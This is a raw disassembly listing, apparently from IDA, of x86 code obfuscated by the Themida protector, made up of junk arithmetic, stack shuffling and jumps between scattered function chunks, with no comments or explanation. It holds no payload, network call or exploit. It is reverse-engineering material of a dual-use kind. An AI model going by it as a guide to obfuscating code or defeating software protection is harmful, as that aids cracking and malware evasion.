jno loc_58EC67
jmp loc_5927B1
; ---------------------------------------------------------------------------
sub ebp, 4
pop esp
loc_59104A: ; CODE XREF: Themida_:0058E7B1j
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_58F1A0
; =============== S U B R O U T I N E =======================================
sub_591059 proc near ; CODE XREF: sub_58F5B5-3358j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058B1B8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B6C0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058BF59 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C208 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CBA4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DB81 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DF4E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00590D7F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059248C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594090 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594CF7 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00595DB6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597091 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059715A SIZE 0000000C BYTES
sub esp, 4
mov [esp+4+var_4], ebp
jmp loc_594CF7
sub_591059 endp
; ---------------------------------------------------------------------------
loc_591067: ; CODE XREF: Themida_:0058D4CFj
; Themida_:0058F479j
or ecx, 99C7745h
jmp loc_58C98A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_591072: ; CODE XREF: sub_5916CB-51B5j
push [esp+4+var_4]
pop ecx
push eax
jmp loc_596BFE
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5909B4
loc_59107C: ; CODE XREF: sub_5909B4+20A8j
push eax
not dword ptr [esp+0]
jmp loc_58D1BA
; END OF FUNCTION CHUNK FOR sub_5909B4
; ---------------------------------------------------------------------------
loc_591085: ; CODE XREF: Themida_:0059095Cj
mov ecx, [esp]
add esp, 4
add ebx, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_590D85
; ---------------------------------------------------------------------------
loc_5910A7: ; CODE XREF: Themida_:00593BB8j
mov ah, 0F8h
jmp loc_59574E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_5910AE: ; CODE XREF: sub_595BDA-93DCj
add esp, 4
jmp loc_5922E0
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
loc_5910B9: ; CODE XREF: Themida_:0058FE34j
pop ebx
jmp loc_58EC19
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_5910BF: ; CODE XREF: sub_590010+266Dj
pop ebx
add esi, eax
jmp loc_58ACB6
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_5910C7: ; CODE XREF: Themida_:005924A4j
xchg esi, [esp]
pop esp
sub bl, 1
push 3155h
mov [esp], edx
mov dl, al
push ecx
push 38h
pop ecx
push 627Fh
mov [esp], eax
mov eax, 428E4729h
sub ecx, eax
pop eax
jmp loc_5936A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_5910F4: ; CODE XREF: sub_58B4D6+7C71j
mov ecx, 4
jmp loc_58DF0C
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5910FE: ; CODE XREF: sub_58C17E+74EBj
not edi
xor edi, 0B7ADFD5Bh
not edi
xor edi, 51311DC9h
jl loc_593A83
not edi
add edi, 32B2FB6h
mov eax, edi
pop edi
mov bl, bl
loc_591121: ; CODE XREF: sub_59762D-5444j
sub bl, 3Bh
pop edx
add bl, 0CCh
add bl, 0F3h
jmp loc_58FB3A
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_591130: ; CODE XREF: sub_592D25:loc_592553j
; Themida_:00595AE5j
push 7313h
mov [esp+0], eax
push ebx
mov ebx, 7C524B83h
push ebp
push 519C53DDh
jmp loc_592D45
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D99C
loc_591149: ; CODE XREF: sub_58D99C:loc_594200j
sub ebx, 1411871Fh
and ecx, ebx
mov ebx, [esp+0Ch+var_C]
push ebx
mov ebx, esp
add ebx, 4
jmp sub_590E26
; END OF FUNCTION CHUNK FOR sub_58D99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_591162: ; CODE XREF: sub_592D25-4E98j
mov esi, esp
jmp loc_58D149
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_591169: ; CODE XREF: Themida_:loc_5947C9j
push ebx
push eax
jmp loc_58DF95
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_591170: ; CODE XREF: sub_58C17E+64DEj
mov [esp+2+var_4+2], ecx
mov ecx, ebp
mov ebx, ecx
pop ecx
mov [edx], ebx
mov ebx, [esp+0]
add esp, 4
pop ebp
mov edx, [esp-0Ah+arg_4+2]
add esp, 4
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_59118F: ; CODE XREF: Themida_:00595C6Cj
add esi, 4
xchg esi, [esp]
pop esp
push edi
mov edi, esp
sub esp, 4
mov [esp], edx
jmp loc_5906CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5911AA: ; CODE XREF: sub_58C17E+349Cj
add ecx, ebx
push edx
jmp loc_597C85
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5911B2: ; CODE XREF: sub_5916C4-60B7j
add ecx, 4
xchg ecx, [esp-4+arg_0]
pop esp
push 3DC2h
mov [esp-4+arg_0], ebp
sub esp, 4
mov [esp+0], ecx
jmp loc_5900D6
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5911CF: ; CODE XREF: Themida_:0058DF82j
push ecx
mov ch, 2
push eax
mov al, ch
not al
mov ch, al
pop eax
push bx
jmp loc_5904C9
; ---------------------------------------------------------------------------
loc_5911E1: ; CODE XREF: Themida_:0058A8DDj
xchg edx, [esp]
jmp loc_590995
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_5911E9: ; CODE XREF: sub_590010+5BDDj
not esi
add esi, 39606905h
jmp loc_58A59B
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_5911F6: ; CODE XREF: Themida_:0058D66Bj
pop esi
or esi, 4A36059Bh
jmp loc_591C43
; ---------------------------------------------------------------------------
loc_591202: ; CODE XREF: Themida_:0058AA94j
pop ebx
push 11Ch
jmp loc_59521D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59120D: ; CODE XREF: sub_58F5B5+6EA1j
sub ah, 0E6h
jmp loc_58D642
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936D6
loc_591215: ; CODE XREF: sub_5936D6+1CBEj
pop ecx
mov ebx, [esp-4+arg_0]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0]
pop esp
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5936D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_59122E: ; CODE XREF: sub_5916C4-4C2Fj
xor [esp-0Ah+arg_8+2], edi
jmp loc_58C07C
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_591237: ; CODE XREF: sub_595E21-ABDDj
push edx
mov edx, 27872A83h
add edx, 5421740Ch
jle loc_58F831
jmp loc_593B33
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_59124E: ; CODE XREF: sub_590010-3385j
mov edi, [esp+4+var_4]
jmp loc_593273
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_591256: ; CODE XREF: Themida_:005968C7j
push ecx
push edx
jmp loc_595ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_59125D: ; CODE XREF: sub_59524C-710Cj
; sub_595E21-2B56j
add ebx, 5B32732h
add ebx, 6C4D68B2h
sub ebx, esi
sub ebx, 6C4D68B2h
push ecx
push esi
mov esi, 5B32732h
mov ecx, esi
pop esi
jmp loc_597F97
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_591280: ; CODE XREF: Themida_:0059544Aj
pop ebx
add cl, ah
pop ax
add al, cl
pop ecx
push ebx
mov bl, 0C1h
push eax
mov ah, 9Eh
dec ah
not ah
shl ah, 5
or ah, 0CBh
jmp loc_597A04
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_59129D: ; CODE XREF: sub_5EC2E8-60751j
xor edi, [esp+28h+var_28]
pop esp
jmp sub_59524C
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_5912A6: ; CODE XREF: Themida_:0058C488j
push esi
xchg ebx, [esp]
not ebx
xchg ebx, [esp]
jmp loc_5955D1
; ---------------------------------------------------------------------------
loc_5912B4: ; CODE XREF: Themida_:0058B68Bj
xor ebx, edx
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
dec ebx
jmp loc_58AA8A
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_58A8CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5912D7: ; CODE XREF: sub_5916C4+F09j
xor edi, edx
add edx, 1
jmp loc_590707
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5912E1: ; CODE XREF: sub_59762D-9777j
mov [esp+0], ax
mov al, 12h
sub dh, al
jmp loc_58E450
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_5912EE: ; CODE XREF: Themida_:005940B3j
add bl, ch
jmp loc_593683
; ---------------------------------------------------------------------------
loc_5912F5: ; CODE XREF: Themida_:0058CE42j
mov ebp, 4C743545h
not ebp
xor ebp, 2DAC5863h
not ebp
neg ebp
add ebp, 9CB0BCF5h
mov edi, ebp
pop ebp
not edi
shr edi, 1
push edi
xchg ebp, [esp]
inc ebp
xor [esp], ebp
xor ebp, [esp]
jmp loc_5953C4
; ---------------------------------------------------------------------------
loc_591323: ; CODE XREF: Themida_:loc_5902CEj
dec cl
jns loc_597D13
sub cl, 31h
mov ah, cl
pop ecx
push ecx
mov cl, ah
jmp loc_58F1B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_591339: ; CODE XREF: sub_5EC2E8-5C333j
push 1D896B3Dh
pop ebp
inc ebp
neg ebp
jo loc_592988
add ebp, 1D896B42h
mov edx, ebp
pop ebp
jmp loc_5964DB
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_591356: ; CODE XREF: Themida_:0058BDADj
sub esi, 0AB11A8A2h
push esi
sub dword ptr [esp], 57E31B65h
jmp loc_58C160
; ---------------------------------------------------------------------------
loc_591369: ; CODE XREF: Themida_:005950BCj
sub esp, 4
mov [esp], ebp
push esp
jmp loc_594F3E
; ---------------------------------------------------------------------------
loc_591375: ; CODE XREF: Themida_:005964D0j
jmp loc_597F1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_59137A: ; CODE XREF: sub_595E21-5772j
mov [esp+0], ebx
mov ebx, 4
add ecx, ebx
jmp loc_597037
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_591389: ; CODE XREF: sub_590010-2E62j
pop ebx
add ecx, esi
push esi
mov esi, 7DF57918h
inc esi
xor esi, 2BFB3B91h
add ecx, esi
pop esi
mov esi, [esp+4+var_4]
jmp loc_592E9B
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5913A4: ; CODE XREF: sub_5916C4+171Ej
add edi, ebx
sub edi, 13014DF9h
pop ebx
push ebx
jmp loc_591CC9
; ---------------------------------------------------------------------------
loc_5913B3: ; CODE XREF: sub_5916C4+3FF8j
push ecx
mov ecx, esp
push esi
jmp loc_5963D2
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5913BC: ; CODE XREF: Themida_:00593BC0j
sub ebp, 60187465h
jmp loc_592022
; ---------------------------------------------------------------------------
loc_5913C7: ; CODE XREF: Themida_:0058E291j
mov esi, 629207EFh
push ebp
mov ebp, 33A83EC5h
push esi
mov esi, 3E8611FAh
xor ebp, esi
pop esi
inc ebp
dec ebp
xor ebp, 0A8E0D15h
and esi, ebp
pop ebp
shr esi, 5
shr esi, 3
shr esi, 2
shl esi, 2
xor esi, 4A779382h
add eax, esi
pop esi
jmp loc_5935FD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_591400: ; CODE XREF: sub_595BDA-38F9j
mov dl, bh
mov cl, dl
pop edx
pop ebx
shr cl, 4
jmp loc_58ACF4
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
sub esp, 4
push 2740h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
push 7502h
mov [esp], esi
push eax
jmp loc_59723A
; ---------------------------------------------------------------------------
loc_591432: ; CODE XREF: Themida_:005947A1j
xor dh, 4Ch
jmp loc_592700
; ---------------------------------------------------------------------------
loc_59143A: ; CODE XREF: Themida_:loc_594E63j
sub ebp, 986AA3FFh
sub ebp, 25FF5F55h
xchg esi, ebp
jmp loc_594D97
; ---------------------------------------------------------------------------
loc_59144D: ; CODE XREF: Themida_:0058F6E0j
push ebx
jmp loc_58CB49
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_591453: ; CODE XREF: sub_590467-5326j
xchg esi, [esp+6+var_6]
pop esp
push dword ptr [esp+0]
push [esp+6+var_6]
jmp loc_594490
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_591462: ; CODE XREF: Themida_:0058CBB2j
mov [esp], ecx
push eax
mov ah, 2Bh
mov ch, 96h
push edx
mov dh, 90h
neg dh
dec dh
and dh, 58h
not dh
jmp loc_5962B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_59147B: ; CODE XREF: sub_5916CB-2E2Bj
pop esi
jmp loc_58CFF9
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_591481: ; CODE XREF: Themida_:00592F4Ej
push eax
mov ah, 0D3h
and ah, 0B2h
jz loc_596992
add ah, 4Bh
jmp loc_58C776
; ---------------------------------------------------------------------------
loc_591495: ; CODE XREF: Themida_:005941FBj
xor ecx, edi
xor edi, ecx
xor ecx, edi
push edi
push ebx
pop edi
pop ebx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
not dword ptr [esp]
pop ebx
push 46C6h
mov [esp], edi
push ebx
jmp loc_596A64
; ---------------------------------------------------------------------------
loc_5914C3: ; CODE XREF: Themida_:00594E37j
push eax
jmp loc_595C61
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5914C9: ; CODE XREF: sub_5916C4-19FAj
pop ebx
add eax, 745F2862h
sub eax, 3AE1D9ADh
and ebp, eax
pop eax
add ebp, 1
xor ebp, 5DC272E2h
inc ebp
jmp loc_594B9B
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_5914E9: ; CODE XREF: sub_590467-2C68j
pop eax
add bl, 1
push ecx
mov ch, 67h
jmp loc_590B14
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_5914F5: ; CODE XREF: Themida_:00597572j
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
pop dword ptr [esp]
jmp loc_58E7BC
; ---------------------------------------------------------------------------
loc_591506: ; CODE XREF: Themida_:0058B18Bj
xchg edi, [esp]
mov esp, [esp]
and [esp], ax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_591516: ; CODE XREF: sub_5916C4-4147j
; sub_58C17E+A53Ej
push ecx
push 3E230A94h
jmp loc_58C692
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_59667E
; ---------------------------------------------------------------------------
loc_591529: ; CODE XREF: Themida_:0058F750j
mov ecx, 0DE52ABh
jmp loc_5906E6
; ---------------------------------------------------------------------------
loc_591533: ; CODE XREF: Themida_:loc_5944C8j
or ebx, 6B1F47A3h
jmp loc_58CC3A
; ---------------------------------------------------------------------------
loc_59153E: ; CODE XREF: Themida_:00597C32j
push ebx
mov ebx, 2
add ebp, ebx
mov ebx, [esp]
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_59637B
; ---------------------------------------------------------------------------
lodsb
push small 2020h
mov [esp], cx
push edx
mov dl, 0C2h
neg dl
shl dl, 5
jmp loc_58CAED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_591573: ; CODE XREF: sub_5938B9:loc_595365j
; sub_5916C4+5961j
shl ebx, 2
and ebx, 25C8004Ch
add ebx, 4ADDD8A5h
mov ecx, ebx
pop ebx
sub ebp, ecx
jmp loc_58F3EC
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_59158C: ; CODE XREF: Themida_:0058C97Aj
push small 71C0h
mov [esp], ax
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_591599: ; CODE XREF: Themida_:0058ACB1j
add edx, 4
add edx, 4
jmp loc_58F94B
; ---------------------------------------------------------------------------
loc_5915AA: ; CODE XREF: Themida_:00592732j
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, esp
sub esp, 4
jmp loc_58B8E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5915CE: ; CODE XREF: sub_5916C4-2E3Ej
pop ecx
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5915D4: ; CODE XREF: Themida_:0058B57Ej
pop ebx
push esi
jmp loc_590B01
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D99C
loc_5915DB: ; CODE XREF: sub_58D99C+687Ej
xor [esp+10h+var_10], ecx
xor ecx, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
mov word ptr [esp+10h+var_10], ax
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58D99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_5915ED: ; CODE XREF: sub_58F5B5+83AFj
push ecx
mov ecx, 25534DE8h
sub edx, ecx
pop ecx
sub edx, 1C5F236Fh
sub edx, 10930B62h
sub edx, 38EB75F7h
sub edx, 169B1BB5h
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_591613: ; CODE XREF: sub_595123-7726j
add eax, 4
xchg eax, [esp+14h+var_14]
pop esp
jmp loc_58B321
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59161F: ; CODE XREF: sub_58F5B5+7192j
add ebp, 4
push edi
mov edi, 4
push esi
push ebx
jmp loc_592F62
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_591632: ; CODE XREF: Themida_:0058CCEAj
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
idiv ecx
push 636Ah
mov [esp], edx
push eax
pushf
jmp loc_597DF0
; ---------------------------------------------------------------------------
loc_59164E: ; CODE XREF: Themida_:0058F195j
sub ebx, ecx
pop ecx
not ebx
push edx
push ebp
jmp loc_58F8FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_59165A: ; CODE XREF: sub_590010-4AECj
inc eax
jmp loc_5927B1
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push ebp
push edx
mov edx, 9AA7DB8h
mov ebp, 7647E17Ah
sub ebp, edx
pop edx
add ebp, 0FFFFFFFFh
shl ebp, 5
or ebp, 23175602h
shl ebp, 4
push ebx
mov ebx, 6B355527h
jmp loc_58D9A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_59168F: ; CODE XREF: sub_595E21-160Bj
mov edx, [esp+0]
jmp loc_597BE9
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BA12
loc_591697: ; CODE XREF: sub_58BA12+86AFj
push esi
mov esi, 56167E51h
jmp loc_5924A9
; END OF FUNCTION CHUNK FOR sub_58BA12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_5916A2: ; CODE XREF: sub_590010-4BCAj
push 4B3Ch
mov [esp-0Ch+arg_8], eax
jmp loc_58E6D6
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_5916AF: ; CODE XREF: sub_58F5B5+AE2j
mov edx, 5A1905A8h
xor ebx, edx
pop edx
jmp loc_590910
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5916BC: ; CODE XREF: sub_58C17E+BB45j
push dword ptr [esp+0]
jmp loc_5941D6
; END OF FUNCTION CHUNK FOR sub_58C17E
; =============== S U B R O U T I N E =======================================
sub_5916C4 proc near ; CODE XREF: sub_59089C-18F0j
var_1A = dword ptr -1Ah
var_16 = dword ptr -16h
var_12 = dword ptr -12h
var_E = dword ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
; FUNCTION CHUNK AT 0058A806 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058A9A8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058A9F3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058AA99 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058ABE9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058AC58 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058AFDB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B27B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0058B3BD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058B3F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058B5F8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058B632 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058B765 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058B7E3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BB06 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058BD1E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058BE32 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C07C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C497 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058C4FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C58D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058C9D9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CA29 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058CA87 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058CC90 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CCA5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058CD63 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058CDEC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058D413 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058D557 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058D919 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DA99 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058DCC0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DD51 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DD66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058DFA0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DFBD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058E221 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E3B4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058E859 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058E875 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058ED1E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058F1B1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F21F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058F259 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058F3EC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F8C3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FAD1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FB7E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FC93 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058FCC1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058FD5F SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005900D6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00590118 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005901F7 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00590363 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590497 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00590631 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00590658 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00590707 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00590845 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00590938 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590A17 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00590B9E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590EDD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590F10 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590FC6 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005911B2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059122E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005912D7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005913A4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005914C9 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00591573 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005915CE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00591709 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005919DA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591A9C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00591CC9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00591CEE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591DF6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591F45 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592019 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592150 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059232E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592503 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005925C3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005927E1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592972 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005929EC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00592A17 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592A28 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00592A82 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00592B57 SIZE 00000020 BYTES
